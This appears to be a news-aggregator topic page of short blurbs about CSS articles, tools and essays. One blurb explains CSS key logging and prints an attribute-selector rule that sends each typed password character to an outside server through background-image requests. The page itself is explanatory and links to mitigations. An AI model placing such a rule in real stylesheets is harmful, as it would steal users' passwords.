CSS Icon

CSS

Cascading Style Sheets (CSS) is a language used most often to style and improve upon the appearance of views.
31 Stories
All Topics

CSS webflow.com

CSS Grid sorcery! (build CSS Grid layouts visually with Webflow)

This must be of the dark arts. Never before has this level of visual UI and control been given to the masses, carte blanche — wow, truly impressed. From Vlad Magdalin (Webflow co-founder and CEO) on Twitter: CSS Grid in @webflow is one of those features that makes me fall in love with our mission all over again. The power and flexibility this places in designers' hands is mind-blowing, and it the amount of creativity this can unleash is super inspiring! 😍https://t.co/mPlezTPgZv pic.twitter.com/INe3N0LEqI— Vlad Magdalin (@callmevlad) October 10, 2018 The video attached to this tweet has been viewed 23,000 times (so far)!

read more...

Nick Salloum callmenick.com

CSS only floated labels with :placeholder-shown pseudo class

Nick Salloum: When we’re dealing with inputs, there’s a host of techniques to consider in order to give users the best experience. We need to make sure that we’re giving users necessary information at all points in time, and that means finding the balance between too much and too little. Time and time again we've been told that having a proper label is a better UX. The thing is, having a bunch of labels on a form can start to look congested. This solution is a great one, and saves us from having to use JavaScript.

read more...

Rachel Andrew rachelandrew.co.uk

The way we talk about CSS

Rachel Andrew: There is frequently talk about how developers whose main area of expertise is CSS feel that their skills are underrated. I do not think we help our cause by talking about CSS as this whacky, quirky language. CSS is unlike anything else, because it exists to serve an environment that is unlike anything else. Rachel makes a great point. We give others permission to talk badly about CSS and the immensely valuable skill of writing it, when we also don't assign it the deserved respect.

read more...

Chris Coyier CSS-Tricks

The shapes of CSS

Chris Coyier on CSS-Tricks: By getting clever with positioning, transforming, and many other tricks, we can make lots of shapes in CSS with only a single HTML element. Ok, so the first couple ones are easy, but the lower you go on the page, the more complex the shapes become. I had no idea you could do this with just CSS, much less with a single HTML element.

read more...

Chris Coyier CSS-Tricks

Preventing a grid blowout

Chris Coyier on CSS-Tricks: Say you have a very simple CSS grid layout with one column fixed at 300px and another taking up the rest of the space at 1fr. … That's somewhat robust. That 1fr column will take up any remaining space left behind by the fixed 300px column. It's true that the auto value would do the same, but auto isn't quite as robust since it's size is based on the content inside. Chris explains something here which may look pretty simple, but would've taken me hours to debug. The distinction he makes between the 1fr and auto defined column is game changing on its own.

read more...

Kevin Ball zendev.com

The ultimate guide to learning CSS

KBall combined his learnings while working on Zurb's Foundation with some original research to curate this massive list of CSS resources. Topics are arranged in an order that makes sense for learning from scratch. So if you're brand new to CSS, you should be able to start at the top and work downwards, gradually increasing your understanding. Bookmark this and share it with a friend. 💯

read more...

Firefox hacks.mozilla.org

Firefox 61 – Quantum of Solstice

The latest version of Firefox adds some powerful new features. It enables parallel CSS parsing, which combines with their existing parallel CSS style computation to make CSS in Firefox incredibly fast. In addition, this version adds a brand new Accessibility Inspector, giving developers direct access to the 'accessibility tree' screen-readers use to interact with a website. This is HUGE for helping developers make websites more accessible.

read more...

Diana Smith cyanharlow.github.io

A meticulously detailed portrait in hand coded HTML and CSS

This is a spectacular project by Diana Smith: Rules I have for myself: All elements must be typed out by hand Only Atom text editor and Chrome Developer Tools allowed. SVG use is limited, and all shapes can only use hand-plotted coordinates and bezier curves - without the aid of any graphics editor. The results are stunning, to say the least. I won't embed the image here, because it won't do it justice. You have to click through and see it for yourself.

read more...

Smashing Magazine Icon Smashing Magazine

Best practices with CSS Grid layout

Rachel Andrew: An increasingly common question — now that people are using CSS Grid Layout in production — seems to be “What are the best practices?” The short answer to this question is to use the layout method as defined in the specification. The particular parts of the spec you choose to use, and indeed how you combine Grid with other layout methods such as Flexbox, is down to what works for the patterns you are trying to build and how you and your team want to work. Amazingly educational article. I've said it before, and I'll say it again: when you want to learn about CSS Grid, Rachel Andrew is the source.

read more...

CSS-Tricks Icon CSS-Tricks

Hey hey `font-display`

Chris Coyier: Y'all know about font-display? It's pretty great. It's a CSS property that you can use within @font-face blocks to control how, visually, that font loads. … What do you get from it? The ability to control FOUT and FOIT as is right for your project, two things that both kinda suck in regards to font loading. Font loading strategy is pretty important. It's one of the reasons I searched far and wide to improve the performance of fonts on Brightly Colored. Fortunately, if you're using @font-face, using font-display is as easy as using one line of CSS, and you'll see the performance improvements immediately. Unfortunately, as Chris points out, there's no performant way to get around either FOUT or FOIT.

read more...

CSS-Tricks Icon CSS-Tricks

Keep pixelated images pixelated as they scale

Chris Coyier: We're quite used to the idea that scaling an image larger than its natural size (upscaling) causes it to be blurry. As awful as that is, it's the browser doing the best it can to algorithmically smooth out an image over more pixels than it has data. But let's say you'd really rather not it do that. Say the image is already pixel-y (pixel art), or you prefer the look of a pixelated upscaling. You can do it! File this one in the “I had no idea this existed” category. Really simple CSS trick, but definitely a useful one.

read more...

Security jakearchibald.com

Third party CSS is not safe

Jake Archibald goes much deeper on our previous report of CSS key logging. Some folks called for browsers to 'fix' it. Some folks dug a bit deeper and saw that it only affected sites built in React-like frameworks, and pointed the finger at React. But the real problem is thinking that third party content is 'safe'. Jake shared many examples as well as ways to mitigate these types of attacks.

read more...

Security github.com

CSS key logging is a thing?! 😱

Turns out it definitely can be, as long as you are using a component-style JavaScript tool (such as React) that updates input values on every keypress. Here's how it works: Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image. Add some CSS that looks like this: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } When the user types an a in to the password field, it will hit your server for logging. Dastardly!

read more...

CSS frankchimero.com

Everything easy is hard again

This is a long, nuanced piece about progress in web-building technologies and practices. It's written from a designer's perspective, but many of the themes ring true to my developer's brain. I wonder if I have twenty years of experience making websites, or if it is really five years of experience, repeated four times. If you’ve been working in the technology industry a while, please tell me this sounds familiar to you. The primary example cited is how we answer the simple question, "How do I put two things next to each other?" The status quo has changed (tables -> floats -> Flexbox -> CSS grids), but to what advantage? A few of his points feel a bit like looking back at the "good 'ole days" through rose colored glasses, but his case is mostly well-reasoned and powerful. the foundations are now sufficiently complicated enough on their own that it seems foolish to go add more optional complexity on top of it. I’ve kept my examples to the most basic of web implementations, and I haven’t touched on Javascript, animation, libraries, frameworks, pre-processors, package managers, automation, testing, or deployment. Whew. Whew, indeed! The breadth and depth of knowledge required to feel competent in today's web ecosystem is probably why we spend so much time dealing with imposter syndrome in this industry.

read more...

The Changelog The Changelog #283

Devhints - TL;DR for Developer Documentation

Rico Sta. Cruz joined us to talk about his project Devhints — cheatsheets for developers! There are more than 365 cheatsheets you can contribute to and it's open source. We talked about the design, technical implementation, community, and alternate interfaces (CLI). We also covered RSJS, RSCSS, and Docpress. You have to sell what it is you're building in your documentation. It's not just describing what it is and how to use it. It's about telling interesting stories. — Rico Sta. Cruz

read more...
0:00 / 0:00